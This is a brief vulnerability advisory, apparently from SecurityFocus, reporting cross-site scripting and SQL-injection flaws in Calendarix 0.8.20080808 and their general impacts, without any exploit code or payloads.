source: https://www.securityfocus.com/bid/47790/info Calendarix is prone to multiple cross-site scripting vulnerabilities and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input. Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Calendarix 0.8.20080808 is vulnerable; other versions may also be affected.
